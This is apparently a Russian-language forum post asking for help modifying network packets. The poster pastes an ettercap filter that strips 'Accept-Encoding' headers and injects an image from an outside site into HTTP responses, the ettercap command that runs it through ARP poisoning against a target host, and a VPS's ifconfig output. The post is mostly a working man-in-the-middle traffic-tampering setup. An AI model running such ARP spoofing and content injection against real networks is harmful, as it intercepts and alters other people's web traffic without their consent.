Здравствуйте, нужно изменить содержимое пакета. Попробовал ettercap, но без результата. Ниже конфиг ettercap
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
msg("Filter Ran.\n");
}
ettercap -T -F filter.ef -M arp /1.1.1.1/ //
root@vps:~# ifconfig
eth0 Link encap:Ethernet HWaddr *:*:*:*:*:*
inet addr:1.1.1.1 Bcast:1.1.1.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2251219701 errors:0 dropped:58 overruns:0 frame:0
TX packets:1494761508 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1666445931 (1.6 GB) TX bytes:1197735845 (1.1 GB)
Interrupt:247
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:1652 errors:0 dropped:0 overruns:0 frame:0
TX packets:1652 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:143373 (143.3 KB) TX bytes:143373 (143.3 KB)